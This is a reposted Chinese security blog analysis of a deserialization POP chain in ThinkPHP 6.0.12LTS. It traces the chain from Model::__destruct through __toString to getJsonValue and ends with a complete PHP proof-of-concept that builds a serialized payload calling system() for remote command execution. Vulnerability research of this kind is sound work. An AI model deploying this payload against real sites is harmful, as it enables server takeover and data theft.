ThinkPHP 6.0.12LTS 反序列漏洞分析

admin 2025年7月3日02:48:51评论2 views字数 7062阅读23分32秒阅读模式

微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们

本篇文章由团队成员0xEaS原创首发自FreeBuf社区

环境

  • ThinkPHP 6.0.12LTS(目前最新版本);

  • PHP 7.3.4;

安装

1composer create-project topthink/think tp6

测试代码

ThinkPHP 6.0.12LTS 反序列漏洞分析

漏洞分析

漏洞起点不是__desturct就是__wakeup全局搜索下,起点在vendortopthinkthink-ormsrcModel.php

只要把this->lazySave设为True,就会调用了save方法。

ThinkPHP 6.0.12LTS 反序列漏洞分析

跟进save方法,漏洞方法是updateData,但需要绕过①且让②为True,①调用isEmpty方法

ThinkPHP 6.0.12LTS 反序列漏洞分析

1public function save(array $data = [], string $sequence = null)bool
2    
{
3        // 数据对象赋值
4        $this->setAttrs($data);
5        if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
6            return false;
7        }
8        $result = $this->exists ? $this->updateData() : $this->insertData($sequence);

跟进isEmpty方法,只要$this->data不为空就行

ThinkPHP 6.0.12LTS 反序列漏洞分析

$this->trigger方法默认返回就不是false,跟进updateData方法
漏洞方法是checkAllowFields默认就会触发

ThinkPHP 6.0.12LTS 反序列漏洞分析

 1protected function updateData()bool
2    
{
3        // 事件回调
4        if (false === $this->trigger('BeforeUpdate')) {
5            return false;
6        }
7        $this->checkData();
8
9        // 获取有更新的数据
10        $data = $this->getChangedData();
11
12        if (empty($data)) {
13            // 关联更新
14            if (!empty($this->relationWrite)) {
15                $this->autoRelationUpdate();
16            }
17            return true;
18        }
19        if ($this->autoWriteTimestamp && $this->updateTime) {
20            // 自动写入更新时间
21            $data[$this->updateTime]       = $this->autoWriteTimestamp();
22            $this->data[$this->updateTime] = $data[$this->updateTime];
23        }
24        // 检查允许字段
25        $allowFields = $this->checkAllowFields();

跟进checkAllowFields方法,漏洞方法是db,默认也是会触发该方法,继续跟进

ThinkPHP 6.0.12LTS 反序列漏洞分析

1protected function checkAllowFields()array
2    
{
3        // 检测字段
4        if (empty($this->field)) {
5            if (!empty($this->schema)) {
6                $this->field = array_keys(array_merge($this->schema, $this->jsonType));
7            } else {
8                $query = $this->db();

跟进db方法,存在$this->table . $this->suffix字符串拼接,可以触发__toString魔术方法,把$this->table设为触发__toString类即可

ThinkPHP 6.0.12LTS 反序列漏洞分析

1public function db($scope = [])Query
2    
{
3        /** @var Query $query */
4        $query = self::$db->connect($this->connection)
5            ->name($this->name . $this->suffix)
6            ->pk($this->pk);
7        if (!empty($this->table)) {
8            $query->table($this->table . $this->suffix);
9        }

全局搜索__toString方法,最后选择vendortopthinkthink-ormsrcmodelconcernConversion.php类中的__toString方法

跟进__toString方法,调用了toJson方法

ThinkPHP 6.0.12LTS 反序列漏洞分析

跟进toJson方法,调用了toArray方法,然后以JSON格式返回

ThinkPHP 6.0.12LTS 反序列漏洞分析

跟进toArray方法,漏洞方法是getAtrr默认就会触发,只需把$data设为数组就行

ThinkPHP 6.0.12LTS 反序列漏洞分析

 1public function toArray()array
2    
{
3        $item       = [];
4        $hasVisible = false;
5
6        foreach ($this->visible as $key => $val) {
7            if (is_string($val)) {
8                if (strpos($val, '.')) {
9                    [$relation, $name]          = explode('.', $val);
10                    $this->visible[$relation][] = $name;
11                } else {
12                    $this->visible[$val] = true;
13                    $hasVisible          = true;
14                }
15                unset($this->visible[$key]);
16            }
17        }
18        foreach ($this->hidden as $key => $val) {
19            if (is_string($val)) {
20                if (strpos($val, '.')) {
21                    [$relation, $name]         = explode('.', $val);
22                    $this->hidden[$relation][] = $name;
23                } else {
24                    $this->hidden[$val] = true;
25                }
26                unset($this->hidden[$key]);
27            }
28        }
29
30        // 合并关联数据
31        $data = array_merge($this->data, $this->relation);
32
33        foreach ($data as $key => $val) {
34            if ($val instanceof Model || $val instanceof ModelCollection) {
35                // 关联模型对象
36                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
37                    $val->visible($this->visible[$key]);
38                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
39                    $val->hidden($this->hidden[$key]);
40                }
41                // 关联模型对象
42                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
43                    $item[$key] = $val->toArray();
44                }
45            } elseif (isset($this->visible[$key])) {
46                $item[$key] = $this->getAttr($key);
47            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
48                $item[$key] = $this->getAttr($key);

跟进getAttr方法,漏洞方法是getValue,但传入getValue方法中的$value是由getData方法得到的

ThinkPHP 6.0.12LTS 反序列漏洞分析

 1public function getAttr(string $name)
2    
{
3        try {
4            $relation = false;
5            $value    = $this->getData($name);
6        } catch (InvalidArgumentException $e) {
7            $relation = $this->isRelationAttr($name);
8            $value    = null;
9        }
10
11        return $this->getValue($name, $value, $relation);

跟进getData方法,$this->data可控,$fieldName来自getRealFieldName方法

ThinkPHP 6.0.12LTS 反序列漏洞分析

跟进getRealFieldName方法,默认直接返回传入的参数。所以$fieldName也可控,也就是传入getValue$value参数可控

ThinkPHP 6.0.12LTS 反序列漏洞分析

跟进getValue方法,在Thinkphp6.0.8触发的漏洞点在①处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。

漏洞方法是getJsonValue方法,但需满足两个if判断:

  • $this->withAttr要可控

  • $this->json要可控

即可顺利进入getJsonValue方法

ThinkPHP 6.0.12LTS 反序列漏洞分析

 1protected function getValue(string $name, $value, $relation = false)
2    
{
3        // 检测属性获取器
4        $fieldName = $this->getRealFieldName($name);
5
6        if (array_key_exists($fieldName, $this->get)) {
7            return $this->get[$fieldName];
8        }
9
10        $method = 'get' . Str::studly($name) . 'Attr';
11        if (isset($this->withAttr[$fieldName])) {
12            if ($relation) {
13                $value = $this->getRelationValue($relation);
14            }
15            if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
16                $value = $this->getJsonValue($fieldName, $value);

跟进getJsonValue方法,触发漏洞的点在$closure($value[$key], $value),只要令$this->jsonAssoc为True就行

$closure$value都可控

ThinkPHP 6.0.12LTS 反序列漏洞分析

1protected function getJsonValue($name, $value)
2    
{
3        if (is_null($value)) {
4            return $value;
5        }
6
7        foreach ($this->withAttr[$name] as $key => $closure) {
8            if ($this->jsonAssoc) {
9                $value[$key] = $closure($value[$key], $value);

完整POP链条

ThinkPHP 6.0.12LTS 反序列漏洞分析

Poc编写

 1<?php
2namespace think{
3    abstract class Model{
4        private $lazySave = false;
5        private $data = [];
6        private $exists = false;
7        protected $table;
8        private $withAttr = [];
9        protected $json = [];
10        protected $jsonAssoc = false;
11        function __construct($obj = ''){
12            $this->lazySave = True;
13            $this->data = ['whoami' => ['dir']];
14            $this->exists = True;
15            $this->table = $obj;
16            $this->withAttr = ['whoami' => ['system']];
17            $this->json = ['whoami',['whoami']];
18            $this->jsonAssoc = True;
19        }
20    }
21}
22namespace thinkmodel{
23    use thinkModel;
24    class Pivot extends Model{
25    }
26}
27
28namespace{
29    echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
30}

利用

ThinkPHP 6.0.12LTS 反序列漏洞分析

ThinkPHP 6.0.12LTS 反序列漏洞分析

我是0xEaS,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!

ThinkPHP 6.0.12LTS 反序列漏洞分析

原文始发于微信公众号(渊龙Sec安全团队):ThinkPHP 6.0.12LTS 反序列漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年7月3日02:48:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP 6.0.12LTS 反序列漏洞分析https://cn-sec.com/archives/806372.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息